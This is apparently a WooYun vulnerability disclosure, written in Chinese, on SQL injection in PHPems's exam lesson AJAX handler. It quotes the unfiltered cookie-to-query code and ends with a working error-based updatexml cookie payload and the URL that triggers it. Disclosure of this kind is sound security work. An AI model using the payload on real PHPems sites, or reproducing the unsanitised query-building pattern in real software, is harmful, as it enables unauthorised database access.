WooYun.org

4. PHPems再来3枚SQL注入漏洞吧
存在漏洞代码位置在/app/exam/app.php的lesson()函数中
public function lesson()
{
$action = $this->ev->url(3);
$page = $this->ev->get('page');
switch($action)
{
case 'ajax':
switch($this->ev->url(4))
{
case 'questions':
$number = $this->ev->get('number');
if(!$number)$number = 1;
$questid = $this->ev->getCookie('questype');
$knowsid = $this->ev->getCookie('knowsid');
$questions = $this->question->getRandQuestionListByKnowid($knowsid,$questid);//存在注入漏洞
$allnumber = $this->exam->getQuestionNumberByQuestypeAndKnowsid($questid,$knowsid);//存在注入漏洞
OK!phpems机制我就不想说了，$knowsid = $this->ev->getCookie('knowsid');的意思就是说knowsid可以人为在cookie中指定
接下来进入函数getRandQuestionListByKnowid($knowsid,$questid)【1】
function getRandQuestionListByKnowid($knowid,$typeid)
{
$data = array('DISTINCT questions.questionid',array('questions','quest2knows'),array("quest2knows.qkknowsid IN ({$knowid})","quest2knows.qktype = 0","quest2knows.qkquestionid = questions.questionid","questions.questiontype = '{$typeid}'","questions.questionstatus = 1"),false,false,false);
$sql = makeSelect($data);

return $sql;
}
可以看到对$knowid没有进行任何过滤操作，单引号没加
Makeselect函数只是拼接参数用，所以就构成了SQL注入漏洞
下面的那个函数getQuestionNumberByQuestypeAndKnowsid（）【2】存在注入的原因是一模一样的，
public function getQuestionNumberByQuestypeAndKnowsid($questype,$knowsid)
{
if(!$knowsid)$knowsid = '0';
$data = array("count(*) AS number",array('questions','quest2knows'),array("questions.questiontype = '{$questype}'","questions.questionparent = 0","questions.questionstatus = 1","questions.questionid = quest2knows.qkquestionid","quest2knows.qkknowsid IN ({$knowsid})","quest2knows.qktype = 0"),false,false,false);
$sql = $this->sql->makeSelect($data);
$r = $this->db->fetch($sql);
$data = array("sum(qrnumber) AS number",array('questionrows','quest2knows'),array("questionrows.qrtype = '{$questype}'","questionrows.qrstatus = 1","questionrows.qrid = quest2knows.qkquestionid","quest2knows.qkknowsid IN ({$knowsid})","quest2knows.qktype = 1"),false,false,false);
$sql = $this->sql->makeSelect($data);
$m = $this->db->fetch($sql);
return $r['number']+$m['number'];
}
而且里面还有两处没过滤的地方都能引发注入漏洞
接下来的函数getRandQuestionRowsListByKnowid（）存在相同的问题【3】
我验证第一处，后面都是一样的
首先注册用户登录之，然后在cookie中加入exam_knowsid变量，值设置成(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

然后访问localhost/ems/index.php?exam-app-lesson-ajax-questions

OK，验证通过。